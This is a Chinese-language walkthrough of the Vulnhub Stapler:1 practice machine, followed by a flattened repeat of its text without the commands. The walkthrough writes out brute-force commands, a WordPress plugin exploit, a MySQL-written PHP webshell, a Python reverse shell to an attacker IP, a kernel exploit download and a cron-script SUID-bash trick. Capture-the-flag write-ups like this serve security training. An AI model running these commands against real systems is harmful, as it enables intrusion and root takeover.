Vulnhub-STAPLER: 1靶场实践
字数 1269 2025-08-24 07:48:23

Vulnhub-STAPLER: 1靶场渗透测试教学文档

靶场概述

Stapler是一个Vulnhub上的初级/中级难度靶机,具有以下特点:

  • 提供至少2种获取有限shell的路径
  • 提供至少3种获取root权限的方法
  • 兼容VMware和Virtualbox
  • 需要特别注意:更改网络模式后需要重启VM

环境准备

  • 靶机下载地址:Vulnhub-Stapler
  • 攻击机:Kali Linux (IP: 192.168.179.149)
  • 常见问题解决:VMware导入OVF文件错误可参考此解决方案

信息收集

主机发现

arp-scan -l
# 或
nmap -sn 192.168.179.0/24

端口扫描

nmap -A -sV 192.168.179.149 -p-
# 或
nmap -n -sT -sV 192.168.179.149 -p-

服务枚举与利用

FTP服务(端口21)

  1. 匿名登录检查:
nmap -n -sT -sV -A 192.168.179.149 -p21
  1. 匿名登录并下载文件:
ftp 192.168.179.149
# 用户名: anonymous
# 密码: 任意
  1. 发现note文件内容,提示可能存在用户Elly和John

  2. 密码爆破:

hydra -L ftp_name -e nsr ftp://192.168.179.149
# -e nsr: 测试空密码、同名密码和逆向密码
  1. 使用elly/ylle登录,下载/etc/passwd文件:
cat passwd | grep -v -E "nologin|false" | cut -d ":" -f 1 > ssh_user_name

SSH服务(端口22)

  1. 密码爆破:
hydra -L ssh_user_name -e nsr ssh://192.168.179.149
  1. 成功登录:
ssh SHayslett@192.168.179.149
# 密码: SHayslett

SMB服务

  1. 枚举SMB信息:
enum4linux -a 192.168.179.149 | tee smb_result
  1. 发现共享tmp和kathy:
smbclient -N //192.168.179.149/tmp
smbclient -N //192.168.179.149/kathy

HTTP服务(端口80)

  1. 基本访问无内容,使用nikto扫描:
nikto -host http://192.168.179.149

端口666

  1. 使用nc连接:
nc 192.168.179.149 666 > message_666
file message_666  # 发现是zip文件
unzip message_666
# 查看message2.jpg无有用信息

HTTP服务(端口12380)

  1. 访问发现WordPress站点:
nikto -host http://192.168.179.149:12380
  1. 发现重要目录:
  • /admin112233
  • /blogblog
  • /phpmyadmin
  • /robots.txt
  • /icons/README
  1. WordPress信息收集:
wpscan --url https://192.168.179.149:12380/blogblog/ -e u --disable-tls-checks
wpscan --url https://192.168.179.149:12380/blogblog/ -e ap --disable-tls-checks --plugins-detection aggressive
  1. 发现注册页面:
https://192.168.179.149:12380/blogblog/wp-login.php?action=register
  1. 目录遍历:
https://192.168.179.149:12380/blogblog/wp-content/uploads/

漏洞利用

Advanced Video插件漏洞

  1. 搜索漏洞:
searchsploit advanced video
  1. 下载并修改EXP:
wget https://www.exploit-db.com/exploits/39646
# 修改URL并添加SSL证书忽略代码
  1. 执行EXP后在/uploads目录生成包含MySQL凭据的图片:
wget https://192.168.179.149:12380/blogblog/wp-content/uploads/1140321183.jpeg --no-check-certificate
cat 1140321183.jpeg
# 获取MySQL凭据: root/plbkac

MySQL访问

  1. 登录MySQL:
mysql -h 192.168.179.149 -uroot -pplbkac
  1. 提取WordPress用户哈希:
SELECT CONCAT(user_login,':',user_pass) FROM wp_users;
  1. 使用John爆破哈希:
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

获取Shell的三种方法

方法1:上传PHP反向Shell

  1. 使用John/incorrect登录WordPress后台
  2. 上传修改后的php-reverse-shell.php
  3. 访问上传的文件触发反弹shell

方法2:MySQL写入一句话木马

  1. 确认网站根目录:
cat /etc/apache2/sites-available/default-ssl.conf | grep DocumentRoot
  1. 通过MySQL写入webshell:
SELECT "<?php system($_GET['cmd']);?>" INTO OUTFILE "/var/www/https/blogblog/wp-content/uploads/exec.php";
  1. 执行反弹shell命令:
https://192.168.179.149:12380/blogblog/wp-content/uploads/exec.php?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.179.141",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

方法3:使用冰蝎获取Shell

  1. 下载冰蝎:Behinder v3.0
  2. 上传冰蝎的webshell并连接

权限提升

方法1:Sudo提权

  1. 检查历史命令发现凭据:
cat /home/*/.bash_history | grep -v exit
# 发现用户peter密码: JZQuyIN5
  1. SSH登录peter:
ssh peter@192.168.179.149
  1. 检查sudo权限:
sudo -l
# 显示(ALL : ALL) ALL
  1. 获取root:
sudo su - root

方法2:内核漏洞提权

  1. 收集系统信息:
uname -a
# Ubuntu 16.04内核版本
  1. 搜索漏洞:
searchsploit ubuntu 16.04 privilege escalation
  1. 下载并编译EXP:
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
unzip 39772.zip
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput

方法3:Cron Jobs提权

  1. 检查计划任务:
ls -alh /etc/*cron*
cat /etc/cron.d/logrotate
  1. 发现可写脚本:
echo "cp /bin/bash /tmp/getroot; chown root:root /tmp/getroot; chmod u+s /tmp/getroot" >> /usr/local/sbin/cron-logrotate.sh
  1. 等待5分钟后执行:
/tmp/getroot -p

获取Flag

cd /root
cat flag.txt
# flag: b6b545dc11b7a270f4bad23432190c75162c4a2b

总结

本靶场展示了多种渗透测试技术:

  1. 服务枚举与信息收集
  2. 多种凭证获取方法(FTP匿名访问、密码爆破、MySQL凭据泄露)
  3. 多种Web应用攻击方式(插件漏洞利用、文件上传、SQL注入)
  4. 多种权限提升方法(Sudo滥用、内核漏洞、计划任务滥用)

关键点:

  • 全面的信息收集是成功的基础
  • 注意各种服务之间的关联性
  • 多种方法可以达到相同目的,需要灵活选择
  • 提权路径不止一条,需要全面检查系统配置
Vulnhub-STAPLER: 1靶场渗透测试教学文档 靶场概述 Stapler是一个Vulnhub上的初级/中级难度靶机,具有以下特点: 提供至少2种获取有限shell的路径 提供至少3种获取root权限的方法 兼容VMware和Virtualbox 需要特别注意:更改网络模式后需要重启VM 环境准备 靶机下载地址: Vulnhub-Stapler 攻击机:Kali Linux (IP: 192.168.179.149) 常见问题解决:VMware导入OVF文件错误可参考 此解决方案 信息收集 主机发现 端口扫描 服务枚举与利用 FTP服务(端口21) 匿名登录检查: 匿名登录并下载文件: 发现note文件内容,提示可能存在用户Elly和John 密码爆破: 使用elly/ylle登录,下载/etc/passwd文件: SSH服务(端口22) 密码爆破: 成功登录: SMB服务 枚举SMB信息: 发现共享tmp和kathy: HTTP服务(端口80) 基本访问无内容,使用nikto扫描: 端口666 使用nc连接: HTTP服务(端口12380) 访问发现WordPress站点: 发现重要目录: /admin112233 /blogblog /phpmyadmin /robots.txt /icons/README WordPress信息收集: 发现注册页面: 目录遍历: 漏洞利用 Advanced Video插件漏洞 搜索漏洞: 下载并修改EXP: 执行EXP后在/uploads目录生成包含MySQL凭据的图片: MySQL访问 登录MySQL: 提取WordPress用户哈希: 使用John爆破哈希: 获取Shell的三种方法 方法1:上传PHP反向Shell 使用John/incorrect登录WordPress后台 上传修改后的php-reverse-shell.php 访问上传的文件触发反弹shell 方法2:MySQL写入一句话木马 确认网站根目录: 通过MySQL写入webshell: 执行反弹shell命令: 方法3:使用冰蝎获取Shell 下载冰蝎: Behinder v3.0 上传冰蝎的webshell并连接 权限提升 方法1:Sudo提权 检查历史命令发现凭据: SSH登录peter: 检查sudo权限: 获取root: 方法2:内核漏洞提权 收集系统信息: 搜索漏洞: 下载并编译EXP: 方法3:Cron Jobs提权 检查计划任务: 发现可写脚本: 等待5分钟后执行: 获取Flag 总结 本靶场展示了多种渗透测试技术: 服务枚举与信息收集 多种凭证获取方法(FTP匿名访问、密码爆破、MySQL凭据泄露) 多种Web应用攻击方式(插件漏洞利用、文件上传、SQL注入) 多种权限提升方法(Sudo滥用、内核漏洞、计划任务滥用) 关键点: 全面的信息收集是成功的基础 注意各种服务之间的关联性 多种方法可以达到相同目的,需要灵活选择 提权路径不止一条,需要全面检查系统配置